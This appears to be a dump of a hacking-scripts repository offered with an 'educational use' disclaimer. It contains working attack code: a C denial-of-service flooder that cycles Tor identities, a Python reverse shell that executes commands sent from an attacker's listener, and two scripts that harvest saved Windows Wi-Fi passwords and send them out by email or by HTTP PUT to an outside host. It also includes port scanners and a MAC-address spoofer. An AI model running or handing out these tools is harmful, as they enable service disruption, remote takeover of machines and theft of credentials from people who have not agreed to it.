} 54 | 55 | 56 | #define CONNECTIONS 8 57 | #define THREADS 48 58 | 59 | 60 | void attack(char *host, char *port, int id) { 61 | int sockets[CONNECTIONS]; 62 | int x, g=1, r; 63 | for(x=0; x!= CONNECTIONS; x++) 64 | sockets[x]=0; 65 | signal(SIGPIPE, &broke); 66 | while(1) { 67 | for(x=0; x != CONNECTIONS; x++) { 68 | if(sockets[x] == 0) 69 | sockets[x] = make_socket(host, port); 70 | r=write(sockets[x], "\0", 1); 71 | if(r == -1) { 72 | close(sockets[x]); 73 | sockets[x] = make_socket(host, port); 74 | } else 75 | // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r); 76 | fprintf(stderr, "[%i: Voly Sent]\n", id); 77 | } 78 | fprintf(stderr, "[%i: Voly Sent]\n", id); 79 | usleep(300000); 80 | } 81 | } 82 | 83 | 84 | void cycle_identity() { 85 | int r; 86 | int socket = make_socket("localhost", "9050"); 87 | write(socket, "AUTHENTICATE \"\"\n", 16); 88 | while(1) { 89 | r=write(socket, "signal NEWNYM\n\x00", 16); 90 | fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r); 91 | usleep(300000); 92 | } 93 | } 94 | 95 | 96 | int main(int argc, char **argv) { 97 | int x; 98 | if(argc !=3) 99 | cycle_identity(); 100 | for(x=0; x != THREADS; x++) { 101 | if(fork()) 102 | attack(argv[1], argv[2], x); 103 | usleep(200000); 104 | } 105 | getc(stdin); 106 | return 0; 107 | } 108 | -------------------------------------------------------------------------------- /Port-Scanner-Related/nmap_port_scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Use these commands in Kali to install required software: 3 | # sudo apt install python3-pip 4 | # pip install python-nmap 5 | 6 | # Import nmap so we can use it for the scan 7 | import nmap 8 | # We need to create regular expressions to ensure that the input is correctly formatted. 9 | import re 10 | 11 | # Regular Expression Pattern to recognise IPv4 addresses. 12 | ip_add_pattern = re.compile("^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$") 13 | # Regular Expression Pattern to extract the number of ports you want to scan. 14 | # You have to specify - (ex 10-100) 15 | port_range_pattern = re.compile("([0-9]+)-([0-9]+)") 16 | # Initialising the port numbers, will be using the variables later on. 17 | port_min = 0 18 | port_max = 65535 19 | 20 | # This port scanner uses the Python nmap module. 21 | # You'll need to install the following to get it work on Linux: 22 | # Step 1: sudo apt install python3-pip 23 | # Step 2: pip install python-nmap 24 | 25 | 26 | # Basic user interface header 27 | print(""" 28 | ____ ____ _ _ 29 | | _ \ _ _ _ ____ ____ _ | _ \ __ _| |_ ___| | 30 | | |_) | | | | '__\ \ / / _` | | |_) / _` | __/ _ \ | 31 | | __/| |_| | | \ V / (_| | | __/ (_| | || __/ | 32 | |_| \__,_|_| \_/ \__,_| |_| \__,_|\__\___|_| 33 | """) 34 | 35 | open_ports = [] 36 | # Ask user to input the ip address they want to scan. 37 | while True: 38 | ip_add_entered = input("\nPlease enter the ip address that you want to scan: ") 39 | if ip_add_pattern.search(ip_add_entered): 40 | print(f"{ip_add_entered} is a valid ip address") 41 | break 42 | 43 | while True: 44 | # You can scan 0-65535 ports. This scanner is basic and doesn't use multithreading so scanning 45 | # all the ports is not advised. 46 | print("Please enter the range of ports you want to scan in format: - (ex would be 60-120)") 47 | port_range = input("Enter port range: ") 48 | port_range_valid = port_range_pattern.search(port_range.replace(" ","")) 49 | if port_range_valid: 50 | port_min = int(port_range_valid.group(1)) 51 | port_max = int(port_range_valid.group(2)) 52 | break 53 | 54 | nm = nmap.PortScanner() 55 | # We're looping over all of the ports in the specified range. 56 | for port in range(port_min, port_max + 1): 57 | try: 58 | # The result is quite interesting to look at. You may want to inspect the dictionary it returns. 59 | # It contains what was sent to the command line in addition to the port status we're after. 60 | # For in nmap for port 80 and ip 10.0.0.2 you'd run: nmap -oX - -p 89 -sV 10.0.0.2 61 | result = nm.scan(ip_add_entered, str(port)) 62 | # Uncomment following line and look at dictionary 63 | # print(result) 64 | # We extract the port status from the returned object 65 | port_status = (result['scan'][ip_add_entered]['tcp'][port]['state']) 66 | print(f"Port {port} is {port_status}") 67 | except: 68 | # We cannot scan some ports and this ensures the program doesn't crash when we try to scan them. 69 | print(f"Cannot scan port {port}.") 70 | 71 | -------------------------------------------------------------------------------- /Port-Scanner-Related/nmap_port_scanner_ip_obj.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Use these commands in Kali to install required software: 3 | # sudo apt install python3-pip 4 | # pip install python-nmap 5 | 6 | # Import nmap so we can use it for the scan 7 | import nmap 8 | # We import the ipaddress module. We want to use the ipaddress.ip_address(address) 9 | # method to see if we can instantiate a valid ip address to test. 10 | import ipaddress 11 | # We need to create regular expressions to ensure that the input is correctly formatted. 12 | import re 13 | 14 | # Regular Expression Pattern to extract the number of ports you want to scan. 15 | # You have to specify - (ex 10-100) 16 | port_range_pattern = re.compile("([0-9]+)-([0-9]+)") 17 | # Initialising the port numbers, will be using the variables later on. 18 | port_min = 0 19 | port_max = 65535 20 | 21 | # This port scanner uses the Python nmap module. 22 | # You'll need to install the following to get it work on Linux: 23 | # Step 1: sudo apt install python3-pip 24 | # Step 2: pip install python-nmap 25 | 26 | 27 | # Basic user interface header 28 | print(""" 29 | ____ ____ _ _ 30 | | _ \ _ _ _ ____ ____ _ | _ \ __ _| |_ ___| | 31 | | |_) | | | | '__\ \ / / _` | | |_) / _` | __/ _ \ | 32 | | __/| |_| | | \ V / (_| | | __/ (_| | || __/ | 33 | |_| \__,_|_| \_/ \__,_| |_| \__,_|\__\___|_| 34 | """) 35 | 36 | # Ask user to input the ip address they want to scan. 37 | while True: 38 | ip_add_entered = input("\nPlease enter the ip address that you want to scan: ") 39 | # If we enter an invalid ip address the try except block will go to the except block and say you entered an invalid ip address. 40 | try: 41 | ip_address_obj = ipaddress.ip_address(ip_add_entered) 42 | # The following line will only execute if the ip is valid. 43 | print("You entered a valid ip address.") 44 | break 45 | except: 46 | print("You entered an invalid ip address") 47 | 48 | 49 | while True: 50 | # You can scan 0-65535 ports. This scanner is basic and doesn't use multithreading so scanning all the ports is not advised. 51 | print("Please enter the range of ports you want to scan in format: - (ex would be 60-120)") 52 | port_range = input("Enter port range: ") 53 | # We pass the port numbers in by removing extra spaces that people sometimes enter. So if you enter 80 - 90 instead of 80-90 the program will still work. 54 | port_range_valid = port_range_pattern.search(port_range.replace(" ","")) 55 | if port_range_valid: 56 | # We're extracting the low end of the port scanner range the user want to scan. 57 | port_min = int(port_range_valid.group(1)) 58 | # We're extracting the upper end of the port scanner range the user want to scan. 59 | port_max = int(port_range_valid.group(2)) 60 | break 61 | 62 | nm = nmap.PortScanner() 63 | # We're looping over all of the ports in the specified range. 64 | for port in range(port_min, port_max + 1): 65 | try: 66 | # The result is quite interesting to look at. You may want to inspect the dictionary it returns. 67 | # It contains what was sent to the command line in addition to the port status we're after. 68 | # For in nmap for port 80 and ip 10.0.0.2 you'd run: nmap -oX - -p 89 -sV 10.0.0.2 69 | result = nm.scan(ip_add_entered, str(port)) 70 | # Uncomment following line and look at dictionary 71 | # print(result) 72 | # We extract the port status from the returned object 73 | port_status = (result['scan'][ip_add_entered]['tcp'][port]['state']) 74 | print(f"Port {port} is {port_status}") 75 | except: 76 | # We cannot scan some ports and this ensures the program doesn't crash when we try to scan them. 77 | print(f"Cannot scan port {port}.") 78 | -------------------------------------------------------------------------------- /Port-Scanner-Related/port_scanner_ip_obj.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # The socket module in Python is an interface to the Berkeley sockets API. 3 | import socket 4 | # We import the ipaddress module. We want to use the ipaddress.ip_address(address) 5 | # method to see if we can instantiate a valid ip address to test. 6 | import ipaddress 7 | # We need to create regular expressions to ensure that the input is correctly formatted. 8 | import re 9 | 10 | # Regular Expression Pattern to extract the number of ports you want to scan. 11 | # You have to specify - (ex 10-100) 12 | port_range_pattern = re.compile("([0-9]+)-([0-9]+)") 13 | # Initialising the port numbers, will be using the variables later on. 14 | port_min = 0 15 | port_max = 65535 16 | 17 | # This script uses the socket api to see if you can connect to a port on a specified ip address. 18 | # Once you've successfully connected a port is seen as open. 19 | # This script does not discriminate the difference between filtered and closed ports. 20 | 21 | # Basic user interface header 22 | print(""" 23 | ____ ____ _ _ 24 | | _ \ _ _ _ ____ ____ _ | _ \ __ _| |_ ___| | 25 | | |_) | | | | '__\ \ / / _` | | |_) / _` | __/ _ \ | 26 | | __/| |_| | | \ V / (_| | | __/ (_| | || __/ | 27 | |_| \__,_|_| \_/ \__,_| |_| \__,_|\__\___|_| 28 | """) 29 | 30 | open_ports = [] 31 | # Ask user to input the ip address they want to scan. 32 | while True: 33 | ip_add_entered = input("\nPlease enter the ip address that you want to scan: ") 34 | # If we enter an invalid ip address the try except block will go to the except block and say you entered an invalid ip address. 35 | try: 36 | ip_address_obj = ipaddress.ip_address(ip_add_entered) 37 | # The following line will only execute if the ip is valid. 38 | print("You entered a valid ip address.") 39 | break 40 | except: 41 | print("You entered an invalid ip address") 42 | 43 | 44 | while True: 45 | # You can scan 0-65535 ports. This scanner is basic and doesn't use multithreading so scanning all 46 | # the ports is not advised. 47 | print("Please enter the range of ports you want to scan in format: - (ex would be 60-120)") 48 | port_range = input("Enter port range: ") 49 | # We pass the port numbers in by removing extra spaces that people sometimes enter. 50 | # So if you enter 80 - 90 instead of 80-90 the program will still work. 51 | port_range_valid = port_range_pattern.search(port_range.replace(" ","")) 52 | if port_range_valid: 53 | # We're extracting the low end of the port scanner range the user want to scan. 54 | port_min = int(port_range_valid.group(1)) 55 | # We're extracting the upper end of the port scanner range the user want to scan. 56 | port_max = int(port_range_valid.group(2)) 57 | break 58 | 59 | # Basic socket port scanning 60 | for port in range(port_min, port_max + 1): 61 | # Connect to socket of target machine. We need the ip address and the port number we want to connect to. 62 | try: 63 | # Create a socket object 64 | # You can create a socket connection similar to opening a file in Python. 65 | # We can change the code to allow for domain names as well. 66 | # With socket.AF_INET you can enter either a domain name or an ip address 67 | # and it will then continue with the connection. 68 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 69 | # You want to set a timeout for the socket to try and connect to the server. 70 | # If you make the duration longer it will return better results. 71 | # We put it at 0.5s. So for every port it scans it will allow 0.5s 72 | # for a successful connection. 73 | s.settimeout(0.5) 74 | # We use the socket object we created to connect to the ip address we entered and the port number. 75 | # If it can't connect to this socket it will cause an exception and the open_ports list will not 76 | # append the value. 77 | s.connect((ip_add_entered, port)) 78 | # If the following line runs then then it was successful in connecting to the port. 79 | open_ports.append(port) 80 | 81 | except: 82 | # We don't need to do anything here. If we were interested in the closed ports we'd put something here. 83 | pass 84 | 85 | # We only care about the open ports. 86 | for port in open_ports: 87 | # We use an f string to easily format the string with variables so we don't have to do concatenation. 88 | print(f"Port {port} is open on {ip_add_entered}.") 89 | -------------------------------------------------------------------------------- /Port-Scanner-Related/port_scanner_regex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # The socket module in Python is an interface to the Berkeley sockets API. 3 | import socket 4 | # We need to create regular expressions to ensure that the input is correctly formatted. 5 | import re 6 | 7 | # Regular Expression Pattern to recognise IPv4 addresses. 8 | ip_add_pattern = re.compile("^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$") 9 | # Regular Expression Pattern to extract the number of ports you want to scan. 10 | # You have to specify - (ex 10-100) 11 | port_range_pattern = re.compile("([0-9]+)-([0-9]+)") 12 | # Initialising the port numbers, will be using the variables later on. 13 | port_min = 0 14 | port_max = 65535 15 | 16 | # This script uses the socket api to see if you can connect to a port on a specified ip address. 17 | # Once you've successfully connected a port is seen as open. 18 | # This script does not discriminate the difference between filtered and closed ports. 19 | 20 | # Basic user interface header 21 | print(""" 22 | ____ ____ _ _ 23 | | _ \ _ _ _ ____ ____ _ | _ \ __ _| |_ ___| | 24 | | |_) | | | | '__\ \ / / _` | | |_) / _` | __/ _ \ | 25 | | __/| |_| | | \ V / (_| | | __/ (_| | || __/ | 26 | |_| \__,_|_| \_/ \__,_| |_| \__,_|\__\___|_| 27 | """) 28 | 29 | open_ports = [] 30 | # Ask user to input the ip address they want to scan. 31 | while True: 32 | ip_add_entered = input("\nPlease enter the ip address that you want to scan: ") 33 | if ip_add_pattern.search(ip_add_entered): 34 | print(f"{ip_add_entered} is a valid ip address") 35 | break 36 | 37 | while True: 38 | # You can scan 0-65535 ports. This scanner is basic and doesn't use multithreading so scanning all 39 | # the ports is not advised. 40 | print("Please enter the range of ports you want to scan in format: - (ex would be 60-120)") 41 | port_range = input("Enter port range: ") 42 | port_range_valid = port_range_pattern.search(port_range.replace(" ","")) 43 | if port_range_valid: 44 | port_min = int(port_range_valid.group(1)) 45 | port_max = int(port_range_valid.group(2)) 46 | break 47 | 48 | # Basic socket port scanning 49 | for port in range(port_min, port_max + 1): 50 | # Connect to socket of target machine. We need the ip address and the port number we want to connect to. 51 | try: 52 | # Create a socket object 53 | # You can create a socket connection similar to opening a file in Python. 54 | # We can change the code to allow for domain names as well. 55 | # With socket.AF_INET you can enter either a domain name or an ip address 56 | # and it will then continue with the connection. 57 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 58 | # You want to set a timeout for the socket to try and connect to the server. 59 | # If you make the duration longer it will return better results. 60 | # We put it at 0.5s. So for every port it scans it will allow 0.5s 61 | # for a successful connection. 62 | s.settimeout(0.5) 63 | # We use the socket object we created to connect to the ip address we entered 64 | # and the port number. If it can't connect to this socket it will cause an 65 | # exception and the open_ports list will not append the value. 66 | s.connect((ip_add_entered, port)) 67 | # If the following line runs then then it was successful in connecting to the port. 68 | open_ports.append(port) 69 | 70 | except: 71 | # We don't need to do anything here. If we were interested in the closed ports we'd put something here. 72 | pass 73 | 74 | # We only care about the open ports. 75 | for port in open_ports: 76 | # We use an f string to easily format the string with variables so we don't have to do concatenation. 77 | print(f"Port {port} is open on {ip_add_entered}.") 78 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Caution 2 | 3 | ## Important Notice 4 | 5 | Welcome to this repository. While these scripts and tools have been developed with the intention of providing educational and ethical learning opportunities, it is crucial to understand and adhere to the following guidelines and warnings. 6 | 7 | ## Responsible Use 8 | 9 | These scripts are designed for: 10 | 11 | - **Educational Purposes**: To help users learn and understand various concepts in a controlled and legal environment. 12 | - **Ethical Hacking**: For users to practice and enhance their skills within legal boundaries and with proper authorization. 13 | 14 | ## Prohibited Activities 15 | 16 | Any use of these scripts for illegal or unauthorized activities is strictly forbidden. This includes, but is not limited to: 17 | 18 | - Unauthorized penetration testing 19 | - Hacking into networks or systems without permission 20 | - Any activity that violates local, national, or international laws 21 | 22 | ## Legal Disclaimer 23 | 24 | By using the scripts and tools in this repository, you agree to the following terms: 25 | 26 | - **Compliance**: You will comply with all relevant laws and regulations. 27 | - **Authorization**: You have obtained all necessary permissions to use these tools in your environment. 28 | - **Ethical Conduct**: You will use these scripts in a responsible and ethical manner. 29 | 30 | ## Liability 31 | 32 | The author of this repository assumes no responsibility or liability for any misuse of the content provided. Misuse of these tools can lead to severe legal consequences, including criminal charges. The author is not responsible for any damages or losses caused by the use or misuse of these scripts. 33 | 34 | ## Reporting Misuse 35 | 36 | If you become aware of any misuse of these scripts or tools, please report it immediately to the relevant authorities and the repository maintainer. 37 | 38 | ## Final Reminder 39 | 40 | Always remember to use these tools responsibly. The knowledge and skills gained from this repository should be used to contribute positively to the field of cybersecurity and to help create a safer digital world. 41 | 42 | Thank you for understanding and adhering to these guidelines. 43 | 44 | --- 45 | 46 | **Author**: Purva Patel 47 | -------------------------------------------------------------------------------- /Simple-Reverse-Shell/Vicitim.py: -------------------------------------------------------------------------------- 1 | import socket, subprocess 2 | 3 | # Define the IP address and port to connect to 4 | ip = "10.188.0.4" 5 | port = 4444 6 | 7 | # Create a socket object 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | 10 | # Connect to the specified IP and port 11 | s.connect((ip, port)) 12 | 13 | # Open a shell and send the output to the socket 14 | while True: 15 | command = s.recv(1024) 16 | output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) 17 | s.send(output) 18 | 19 | 20 | #On the Attacker's machine run "nc -lvp 4444" to listen and the reverse shell will be #initiated 21 | -------------------------------------------------------------------------------- /Windows-Specific-Scripts/change-windows10-mac-address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import subprocess 4 | import winreg 5 | import re 6 | import codecs 7 | 8 | print("##############################################################") 9 | print(""" 10 | ____ ____ _ _ 11 | | _ \ _ _ _ ____ ____ _ | _ \ __ _| |_ ___| | 12 | | |_) | | | | '__\ \ / / _` | | |_) / _` | __/ _ \ | 13 | | __/| |_| | | \ V / (_| | | __/ (_| | || __/ | 14 | |_| \__,_|_| \_/ \__,_| |_| \__,_|\__\___|_| 15 | """) 16 | print("1) Make sure you run this script with administrator privileges") 17 | print("2) Make sure that the WiFi adapter is connected to a network") 18 | print("##############################################################\n") 19 | 20 | # MAC Addresses to attempt using. You will select one when the script is used. 21 | # You can change the names in this list or add names to this list. 22 | # Make sure you use 12 valid hexadecimal values. 23 | # If the MAC address change fails try setting the second character to 2 or 6 or A or E, 24 | # for example: 0A1122334455 or 0A5544332211 25 | # If unsure, leave the MAC addresses listed here as is. 26 | mac_to_change_to = ["0A1122334455", "0E1122334455", "021122334455", "061122334455"] 27 | 28 | # We create an empty list where we'll store all the MAC addresses. 29 | mac_addresses = list() 30 | 31 | # We start off by creating a regular expression (regex) for MAC addresses. 32 | macAddRegex = re.compile(r"([A-Za-z0-9]{2}[:-]){5}([A-Za-z0-9]{2})") 33 | 34 | # We create a regex for the transport names. It will work in this case. 35 | # But when you use the .+ or .*, you should consider making it not as greedy. 36 | transportName = re.compile("({.+})") 37 | 38 | # We create regex to pick out the adapter index 39 | adapterIndex = re.compile("([0-9]+)") 40 | 41 | # Python allows us to run system commands by using a function provided by the subprocess module: 42 | # (subprocess.run(, 43 | # )) 44 | # The script is a parent process and creates a child process which runs the system command, 45 | # and will only continue once the child process has completed. 46 | # To save the content that gets sent to the standard output stream (the terminal), 47 | # we have to specify that we want to capture the output, so we specify the second 48 | # argument as capture_output = True. This information gets stored in the stdout attribute. 49 | # The information is stored in bytes and we need to decode it to Unicode before we use it 50 | # as a String in Python. 51 | # We use Python to run the getmac command, and then capture the output. 52 | # We split the output at the newline so that we can work with the individual lines 53 | # (which will contain the Mac and transport name). 54 | getmac_output = subprocess.run("getmac", capture_output=True).stdout.decode().split('\n') 55 | 56 | # We loop through the output 57 | for macAdd in getmac_output: 58 | # We use the regex to find the Mac Addresses. 59 | macFind = macAddRegex.search(macAdd) 60 | # We use the regex to find the transport name. 61 | transportFind = transportName.search(macAdd) 62 | # If you don't find a Mac Address or Transport name the option won't be listed. 63 | if macFind == None or transportFind == None: 64 | continue 65 | # We append a tuple with the Mac Address and the Transport name to a list. 66 | mac_addresses.append((macFind.group(0),transportFind.group(0))) 67 | 68 | # Create a simple menu to select which Mac Address the user want to update. 69 | print("Which MAC Address do you want to update?") 70 | for index, item in enumerate(mac_addresses): 71 | print(f"{index} - Mac Address: {item[0]} - Transport Name: {item[1]}") 72 | 73 | # Prompt the user to select Mac Address they want to update. 74 | option = input("Select the menu item number corresponding to the MAC that you want to change:") 75 | 76 | # Create a simple menu so the user can pick a MAC address to use 77 | while True: 78 | print("Which MAC address do you want to use? This will change the Network Card's MAC address.") 79 | for index, item in enumerate(mac_to_change_to): 80 | print(f"{index} - Mac Address: {item}") 81 | 82 | # Prompt the user to select the MAC address they want to change to. 83 | update_option = input("Select the menu item number corresponding to the new MAC address that you want to use:") 84 | # Check to see if the option the user picked is a valid option. 85 | if int(update_option) >= 0 and int(update_option) < len(mac_to_change_to): 86 | print(f"Your Mac Address will be changed to: {mac_to_change_to[int(update_option)]}") 87 | break 88 | else: 89 | print("You didn't select a valid option. Please try again!") 90 | 91 | # We know the first part of the key, we'll append the folders where we'll search the values 92 | controller_key_part = r"SYSTEM\ControlSet001\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}" 93 | 94 | # We connect to the HKEY_LOCAL_MACHINE registry. If we specify None, 95 | # it means we connect to local machine's registry. 96 | with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as hkey: 97 | # Create a list for the 21 folders. I used a list comprehension. The expression part of the list comprehension 98 | # makes use of a ternary operator. The transport value for you Mac Address should fall within this range. 99 | # You could write multiple lines. 100 | controller_key_folders = [("\\000" + str(item) if item < 10 else "\\00" + str(item)) for item in range(0, 21)] 101 | # We now iterate through the list of folders we created. 102 | for key_folder in controller_key_folders: 103 | # We try to open the key. If we can't we just except and pass. But it shouldn't be a problem. 104 | try: 105 | # We have to specify the registry we connected to, the controller key 106 | # (This is made up of the controller_key_part we know and the folder(key) name we created 107 | # with the list comprehension). 108 | with winreg.OpenKey(hkey, controller_key_part + key_folder, 0, winreg.KEY_ALL_ACCESS) as regkey: 109 | # We will now look at the Values under each key and see if we can find the "NetCfgInstanceId" 110 | # with the same Transport Id as the one we selected. 111 | try: 112 | # Values start at 0 in the registry and we have to count through them. 113 | # This will continue until we get a WindowsError (Where we will then just pass) 114 | # then we'll start with the next folder until we find the correct key which contains 115 | # the value we're looking for. 116 | count = 0 117 | while True: 118 | # We unpack each individual winreg value into name, value and type. 119 | name, value, type = winreg.EnumValue(regkey, count) 120 | # To go to the next value if we didn't find what we're looking for we increment count. 121 | count = count + 1 122 | # We check to see if our "NetCfgInstanceId" is equal to our Transport number for our 123 | # selected Mac Address. 124 | if name == "NetCfgInstanceId" and value == mac_addresses[int(option)][1]: 125 | new_mac_address = mac_to_change_to[int(update_option)] 126 | winreg.SetValueEx(regkey, "NetworkAddress", 0, winreg.REG_SZ, new_mac_address) 127 | print("Successly matched Transport Number") 128 | # get list of adapters and find index of adapter you want to disable. 129 | break 130 | except WindowsError: 131 | pass 132 | except: 133 | pass 134 | 135 | 136 | # Code to disable and enable Wireless devicess 137 | run_disable_enable = input("Do you want to disable and reenable your wireless device(s). Press Y or y to continue:") 138 | # Changes the input to lowercase and compares to y. If not y the while function which contains the last part will never run. 139 | if run_disable_enable.lower() == 'y': 140 | run_last_part = True 141 | else: 142 | run_last_part = False 143 | 144 | # run_last_part will be set to True or False based on above code. 145 | while run_last_part: 146 | 147 | # Code to disable and enable the network adapters 148 | # We get a list of all network adapters. You have to ignore errors, as it doesn't like the format the command returns the data in. 149 | network_adapters = subprocess.run(["wmic", "nic", "get", "name,index"], capture_output=True).stdout.decode('utf-8', errors="ignore").split('\r\r\n') 150 | for adapter in network_adapters: 151 | # We get the index for each adapter 152 | adapter_index_find = adapterIndex.search(adapter.lstrip()) 153 | # If there is an index and the adapter has wireless in description we are going to disable and enable the adapter 154 | if adapter_index_find and "Wireless" in adapter: 155 | disable = subprocess.run(["wmic", "path", "win32_networkadapter", "where", f"index={adapter_index_find.group(0)}", "call", "disable"],capture_output=True) 156 | # If the return code is 0, it means that we successfully disabled the adapter 157 | if(disable.returncode == 0): 158 | print(f"Disabled {adapter.lstrip()}") 159 | # We now enable the network adapter again. 160 | enable = subprocess.run(["wmic", "path", f"win32_networkadapter", "where", f"index={adapter_index_find.group(0)}", "call", "enable"],capture_output=True) 161 | # If the return code is 0, it means that we successfully enabled the adapter 162 | if (enable.returncode == 0): 163 | print(f"Enabled {adapter.lstrip()}") 164 | 165 | # We run the getmac command again 166 | getmac_output = subprocess.run("getmac", capture_output=True).stdout.decode() 167 | # We recreate the Mac Address as ot shows up in getmac XX-XX-XX-XX-XX-XX format from the 12 character string we have. We split the string into strings of length 2 using list comprehensions and then. We use "-".join(list) to recreate the address 168 | mac_add = "-".join([(mac_to_change_to[int(update_option)][i:i+2]) for i in range(0, len(mac_to_change_to[int(update_option)]), 2)]) 169 | # We want to check if Mac Address we changed to is in getmac output, if so we have been successful. 170 | if mac_add in getmac_output: 171 | print("Mac Address Success") 172 | # Break out of the While loop. Could also change run_last_part to False. 173 | break 174 | -------------------------------------------------------------------------------- /Windows-Specific-Scripts/windows10-wifi-email.py: -------------------------------------------------------------------------------- 1 | #! py 2 | 3 | import subprocess 4 | import re 5 | import smtplib 6 | from email.message import EmailMessage 7 | 8 | # Python allows us to run system commands by using a function provided by the subprocess module (subprocess.run(, )) 9 | # The script is a parent process and creates a child process which runs the system command, and will only continue once the child process has completed. 10 | # To save the contents that gets sent to the standard output stream (the terminal) we have to specify that we want to capture the output, so we specify the second argument as capture_output = True. This information gets stored in the stdout attribute. The information is stored in bytes and we need to decode it to Unicode before we use it as a String in Python. 11 | command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() 12 | 13 | # We imported the re module so that we can make use of regular expressions. We want to find all the Wifi names which is always listed after "ALL User Profile :". In the regular expression we create a group of all characters until the return escape sequence (\r) appears. 14 | profile_names = (re.findall("All User Profile : (.*)\r", command_output)) 15 | 16 | # We create an empty list outside of the loop where dictionaries with all the wifi username and passwords will be saved. 17 | wifi_list = list() 18 | 19 | 20 | # If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part. 21 | if len(profile_names) != 0: 22 | for name in profile_names: 23 | # Every wifi connection will need its own dictionary which will be appended to the wifi_list 24 | wifi_profile = dict() 25 | # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password. 26 | profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() 27 | # We use a regular expression to only look for the absent cases so we can ignore them. 28 | if re.search("Security key : Absent", profile_info): 29 | continue 30 | else: 31 | # Assign the ssid of the wifi profile to the dictionary 32 | wifi_profile["ssid"] = name 33 | # These cases aren't absent and we should run them "key=clear" command part to get the password 34 | profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() 35 | # Again run the regular expressions to capture the group after the : which is the password 36 | password = re.search("Key Content : (.*)\r", profile_info_pass) 37 | # Check if we found a password in the regular expression. All wifi connections will not have passwords. 38 | if password == None: 39 | wifi_profile["password"] = None 40 | else: 41 | # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary. 42 | wifi_profile["password"] = password[1] 43 | # We append the wifi information to the wifi_list 44 | wifi_list.append(wifi_profile) 45 | 46 | # Create the message for the email 47 | email_message = "" 48 | for item in wifi_list: 49 | email_message += f"SSID: {item['ssid']}, Password: {item['password']}\n" 50 | 51 | # Create EmailMessage Object 52 | email = EmailMessage() 53 | # Who is the email from 54 | email["from"] = "name_of_sender" 55 | # To which email you want to send the email 56 | email["to"] = "email_address" 57 | # Subject of the email 58 | email["subject"] = "WiFi SSIDs and Passwords" 59 | email.set_content(email_message) 60 | 61 | # Create smtp server 62 | with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp: 63 | smtp.ehlo() 64 | # Connect securely to server 65 | smtp.starttls() 66 | # Login using username and password to dummy email. Remember to set email to allow less secure apps if using Gmail 67 | smtp.login("login_name", "password") 68 | # Send email. 69 | smtp.send_message(email) 70 | -------------------------------------------------------------------------------- /Windows-Specific-Scripts/windows10-wifi-rest.py: -------------------------------------------------------------------------------- 1 | #! py 2 | 3 | import subprocess 4 | import re 5 | import requests 6 | 7 | # Python allows us to run system commands by using a function provided by the subprocess module (subprocess.run(, )) 8 | # The script is a parent process and creates a child process which runs the system command, and will only continue once the child process has completed. 9 | # To save the contents that gets sent to the standard output stream (the terminal) we have to specify that we want to capture the output, so we specify the second argument as capture_output = True. This information gets stored in the stdout attribute. The information is stored in bytes and we need to decode it to Unicode before we use it as a String in Python. 10 | command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() 11 | 12 | # We imported the re module so that we can make use of regular expressions. We want to find all the Wifi names which is always listed after "ALL User Profile :". In the regular expression we create a group of all characters until the return escape sequence (\r) appears. 13 | profile_names = (re.findall("All User Profile : (.*)\r", command_output)) 14 | 15 | # We create an empty list outside of the loop where dictionaries with all the wifi ssid and passwords will be saved. 16 | wifi_list = list() 17 | 18 | 19 | # If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part. 20 | if len(profile_names) != 0: 21 | for name in profile_names: 22 | # Every wifi connection will need its own dictionary which will be appended to the wifi_list 23 | wifi_profile = dict() 24 | # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password. 25 | profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() 26 | # We use a regular expression to only look for the absent cases so we can ignore them. 27 | if re.search("Security key : Absent", profile_info): 28 | continue 29 | else: 30 | # Assign the SSID of the wifi profile to the dictionary 31 | wifi_profile["ssid"] = name 32 | # These cases aren't absent and we should run them "key=clear" command part to get the password 33 | profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() 34 | # Again run the regular expressions to capture the group after the : which is the password 35 | password = re.search("Key Content : (.*)\r", profile_info_pass) 36 | # Check if we found a password in the regular expression. All wifi connections will not have passwords. 37 | if password == None: 38 | wifi_profile["password"] = None 39 | else: 40 | # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary. 41 | wifi_profile["password"] = password[1] 42 | # We append the wifi information to the wifi_list 43 | wifi_list.append(wifi_profile) 44 | 45 | 46 | # Write the contents of the wifi ssids and passwords to file 47 | with open('wifi.txt', 'w+') as fh: 48 | for x in wifi_list: 49 | fh.write(f"SSID: {x['ssid']}\nPassword: {x['password']}\n") 50 | 51 | # Open file with read-only in binary so you can send via API 52 | with open('wifi.txt', 'rb') as fh: 53 | # Do put request with the data as the file 54 | r = requests.put("http://theboss.lol/", data=fh) 55 | # status code should be 200 if successful 56 | if r.status_code == 200: 57 | print('Success') 